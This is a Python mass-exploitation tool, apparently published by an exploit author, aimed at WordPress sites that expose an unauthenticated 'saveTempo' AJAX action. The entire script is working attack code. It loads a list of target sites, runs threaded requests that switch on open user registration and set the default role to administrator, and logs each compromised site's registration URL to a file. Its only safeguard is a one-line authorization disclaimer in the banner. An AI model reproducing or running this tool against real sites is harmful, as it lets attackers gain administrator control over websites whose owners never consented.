#!/usr/bin/env python3
# File: Nxzero_4.py
# By: Nxploited

import os
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List
from urllib.parse import urlparse

import requests
import urllib3

try:
    from colorama import Fore, Style, init as colorama_init
    colorama_init(autoreset=True)
except Exception:
    class _D:
        RESET = ""
        RED = ""
        GREEN = ""
        YELLOW = ""
        CYAN = ""
        MAGENTA = ""
        BLUE = ""
        WHITE = ""
    Fore = _D()
    Style = _D()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()

OUT_FILE = "Nx_admin_.txt"
TERM_WIDTH = 80

BANNER_LINES = [
    "          __        __    ___  ___  __     |    __  ___  __   __      __  ",
    "|\\ | \\_/ |__) |    /  \\ |  |  |__  |  \\    |     / |__  |__) /  \\ __ |  \\ ",
    "| \\| / \\ |    |___ \\__/ |  |  |___ |__/    |    /_ |___ |  \\ \\__/    |__/ ",
    "                                           |                              ",
]

def nxc_center(s: str, width: int = TERM_WIDTH) -> str:
    s = s.rstrip("\n")
    l = len(s)
    if l >= width:
        return s
    p = (width - l) // 2
    return " " * p + s

def nxc_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")
    for line in BANNER_LINES:
        print(Fore.MAGENTA + nxc_center(line) + Style.RESET_ALL)
    print()
    print(Fore.LIGHTWHITE_EX + nxc_center("By: Nxploited (Nxploited ZeroDay Hub)") + Style.RESET_ALL)
    print(Fore.LIGHTWHITE_EX + nxc_center("Contact: @Kxploit  |  GitHub: github.com/Nxploited") + Style.RESET_ALL)
    print()
    print(Fore.LIGHTCYAN_EX + nxc_center("Mode 1: saveTempo exploit → users_can_register=1 + default_role=administrator") + Style.RESET_ALL)
    print()
    print(Fore.LIGHTBLUE_EX + nxc_center("Use only in environments where you have explicit authorization.") + Style.RESET_ALL)
    print()

def nxc_label(url: str) -> str:
    p = urlparse(url)
    return f"{p.scheme}://{p.netloc}"

def nxc_normalize(url: str) -> str:
    url = url.strip()
    if not url.startswith(("http://", "https://")):
        url = "https://" + url
    return url.rstrip("/")

def nxc_session(timeout: int) -> requests.Session:
    s = requests.Session()
    s.verify = False
    s.headers.update({
        "User-Agent": (
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
            "AppleWebKit/537.36 (KHTML, like Gecko) "
            "Chrome/121.0.0.0 Safari/537.36"
        ),
        "Accept": "application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "keep-alive",
    })
    adapter = requests.adapters.HTTPAdapter(pool_connections=30, pool_maxsize=30, max_retries=1)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    s.timeout = timeout
    return s

def nxc_success_users(body: str, status: int) -> bool:
    if status != 200:
        return False
    if not body:
        return False
    b = body.replace(" ", "").replace("\n", "").lower()
    patterns = [
        '"users_can_register":"1"',
        '"key":"users_can_register"',
        '"action":"update"',
    ]
    return all(p in b for p in patterns)

def nxc_success_role(body: str, status: int) -> bool:
    if status != 200:
        return False
    if not body:
        return False
    b = body.replace(" ", "").replace("\n", "").lower()
    patterns = [
        '"default_role":"administrator"',
        '"key":"default_role"',
        '"action":"update"',
    ]
    return all(p in b for p in patterns)

def nxc_call_savetempo(site: str, key: str, value: str, timeout: int, mode: str) -> str:
    url = f"{site}/wp-admin/admin-ajax.php"
    params = {
        "action": "saveTempo",
        "key": key,
        "value": value,
    }
    s = nxc_session(timeout)
    try:
        r = s.get(url, params=params, timeout=timeout, allow_redirects=True)
    except Exception as e:
        if "timed out" in str(e).lower() or "timeout" in str(e).lower():
            return "dead"
        return "fail"
    body = r.text or ""
    if mode == "users":
        return "ok" if nxc_success_users(body, r.status_code) else "fail"
    return "ok" if nxc_success_role(body, r.status_code) else "fail"

def nxc_write_hit(site: str) -> None:
    reg_url = f"{site}/wp-login.php?action=register"
    line = f"{site} | register_url: {reg_url}\n"
    with open(OUT_FILE, "a", encoding="utf-8") as f:
        f.write(line)

def nxc_print_status(label: str, status: str, reason: str = "") -> None:
    if status == "success":
        color = Fore.LIGHTGREEN_EX
        tag = "Exploit => SUCCESS"
    elif status == "dead":
        color = Fore.LIGHTYELLOW_EX
        tag = "Site unreachable"
    else:
        color = Fore.LIGHTRED_EX
        tag = "Exploit => FAILED"
    extra = f" ({reason})" if reason else ""
    print(f"{color}{tag:<22}{Style.RESET_ALL} | {label} {extra}")

def nxc_worker_site(site: str, timeout: int) -> None:
    site_n = nxc_normalize(site)
    label = nxc_label(site_n)

    r1 = nxc_call_savetempo(site_n, "users_can_register", "1", timeout, "users")
    if r1 == "dead":
        nxc_print_status(label, "dead", "users_can_register")
        return
    if r1 != "ok":
        nxc_print_status(label, "fail", "users_can_register")
        return

    r2 = nxc_call_savetempo(site_n, "default_role", "administrator", timeout, "role")
    if r2 == "dead":
        nxc_print_status(label, "dead", "default_role")
        return
    if r2 != "ok":
        nxc_print_status(label, "fail", "default_role")
        return

    nxc_write_hit(site_n)
    nxc_print_status(label, "success", "users_can_register=1 & default_role=administrator")

def nxc_chunk(lst: List[str], n: int) -> List[List[str]]:
    if n <= 0:
        n = 1
    return [lst[i::n] for i in range(n)]

def nxc_ask(prompt: str, default: str = "") -> str:
    if default:
        s = input(f"{Fore.LIGHTCYAN_EX}{prompt}{Style.RESET_ALL} [{default}]: ").strip()
        return s if s else default
    return input(f"{Fore.LIGHTCYAN_EX}{prompt}{Style.RESET_ALL}: ").strip()

def nxc_ask_int(prompt: str, default: int) -> int:
    s = nxc_ask(prompt, str(default))
    try:
        return int(s)
    except Exception:
        return default

def nxc_main() -> None:
    nxc_banner()

    tfile = nxc_ask("Targets file (one host/URL per line)", "list.txt")
    if not os.path.exists(tfile):
        print(Fore.LIGHTRED_EX + f"Targets file not found: {tfile}" + Style.RESET_ALL)
        sys.exit(1)

    threads = nxc_ask_int("Threads (concurrent sites)", 5)
    timeout = nxc_ask_int("HTTP timeout (seconds)", 10)

    targets: List[str] = []
    with open(tfile, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line:
                targets.append(line)

    if not targets:
        print(Fore.LIGHTRED_EX + "Targets list is empty." + Style.RESET_ALL)
        sys.exit(1)

    print()
    print(Fore.LIGHTBLUE_EX + f"Loaded {len(targets)} targets. Starting exploit..." + Style.RESET_ALL)
    print(Fore.LIGHTBLUE_EX + f"Results (successful only) will be saved to: {OUT_FILE}" + Style.RESET_ALL)
    print()

    with ThreadPoolExecutor(max_workers=threads) as ex:
        futures = {ex.submit(nxc_worker_site, site, timeout): site for site in targets}
        try:
            for _ in as_completed(futures):
                pass
        except KeyboardInterrupt:
            print(Fore.LIGHTYELLOW_EX + "Interrupted by user, stopping threads..." + Style.RESET_ALL)
            ex.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    print()
    print(Fore.LIGHTGREEN_EX + f"Done. Successful entries (if any) written to {OUT_FILE}" + Style.RESET_ALL)

if __name__ == "__main__":
    nxc_main()